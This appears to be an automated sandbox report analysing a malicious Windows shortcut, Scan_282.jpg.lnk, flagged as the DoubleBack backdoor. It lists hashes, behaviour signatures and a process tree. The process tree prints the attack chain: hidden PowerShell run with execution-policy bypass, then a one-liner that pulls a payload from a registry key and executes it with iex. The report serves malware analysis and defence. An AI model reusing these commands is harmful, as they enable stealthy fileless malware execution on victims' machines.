Overview

overview

10

Static

static

Invoice-06-1022.iso

windows7_x64

3

Invoice-06-1022.iso

windows10-2004_x64

3

1728.ps1

windows7_x64

1

1728.ps1

windows10-2004_x64

10

Scan_282.jpg

windows7_x64

3

Scan_282.jpg

windows10-2004_x64

3

Scan_282.jpg.lnk

windows7_x64

3

Scan_282.jpg.lnk

windows10-2004_x64

10

x.txt

windows7_x64

1

x.txt

windows10-2004_x64

1

Resubmissions

02-06-2022 22:15

220602-16kn1abhf3 10

02-06-2022 21:45

220602-1mh13abha3 7

02-06-2022 21:44

220602-1ln6pabgh8 8

02-06-2022 21:40

220602-1jcpwabgh5 10

02-06-2022 21:27

220602-1ay7hsffap 10

Analysis

  • max time kernel
    91s
  • max time network
    154s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220414-en
  • submitted
    02-06-2022 22:15

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    Scan_282.jpg.lnk

  • Size

    1KB

  • MD5

    371924fdfffd4ca69857e94260c34a74

  • SHA1

    2a1dc23c24010a8b5ef3b512ea3e3c6d2f52a44b

  • SHA256

    801086851a46749a95efc050102fb85b761c0ccb191dfd29ff39c6b7cacb6292

  • SHA512

    f9cbf21c27cf3473a2b73141dfd728d9d8824d20afc24f4b4b93ca5bf9536bd594c7a6d4100be2a2fc9c8e4b85b9dcf9797f61f60267128ea31cb44bfb43aba0

Score
10/10
doublebackbackdoor

Malware Config

Signatures

  • DoubleBack

    DoubleBack is a modular backdoor first seen in December 2020.

    backdoordoubleback
  • DoubleBack x64 Payload 4 IoCs
  • Blocklisted process makes network request 4 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies registry class 25 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\Scan_282.jpg.lnk
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2696
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -w h -file 1728.ps1
      2⤵
      • Blocklisted process makes network request
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:404
      • C:\Windows\system32\msiexec.exe
        C:\Windows\system32\msiexec.exe
        3⤵
        • Blocklisted process makes network request
        • Modifies registry class
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:5060
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -c "&{$v1='8237';$k1='hkcu:\Software\Classes\CLSID';$p1=(gp $k1).$v1;rp $k1 $v1;set-itemproperty -pat $k1 -n $v1 -va (($p1|iex)|out-string);exit}"
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4368

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/404-136-0x00007FFFEBE20000-0x00007FFFEC8E1000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/404-138-0x00000143073D0000-0x00000143073DA000-memory.dmp

    Filesize

    40KB

    Download

  • memory/404-132-0x00007FFFEBE20000-0x00007FFFEC8E1000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/404-133-0x0000014308D99000-0x0000014308D9F000-memory.dmp

    Filesize

    24KB

    Download

  • memory/404-134-0x00007FFFEBE20000-0x00007FFFEC8E1000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/404-135-0x0000014308D99000-0x0000014308D9F000-memory.dmp

    Filesize

    24KB

    Download

  • memory/404-131-0x0000014321410000-0x0000014321432000-memory.dmp

    Filesize

    136KB

    Download

  • memory/404-137-0x0000014308D99000-0x0000014308D9F000-memory.dmp

    Filesize

    24KB

    Download

  • memory/404-130-0x0000000000000000-mapping.dmp

    Download

  • memory/404-139-0x0000008800000000-0x000000880000E000-memory.dmp

    Filesize

    56KB

    Download

  • memory/4368-141-0x0000000000000000-mapping.dmp

    Download

  • memory/4368-142-0x00007FFFEBE20000-0x00007FFFEC8E1000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/4368-143-0x00007FFFEBE20000-0x00007FFFEC8E1000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/5060-140-0x0000008800000000-0x000000880000E000-memory.dmp

    Filesize

    56KB

    Download

  • memory/5060-144-0x0000008800000000-0x000000880000E000-memory.dmp

    Filesize

    56KB

    Download